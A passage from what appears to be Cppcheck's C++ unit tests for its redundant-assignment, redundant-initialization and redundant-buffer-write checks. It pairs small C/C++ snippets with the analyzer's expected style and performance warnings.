1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n 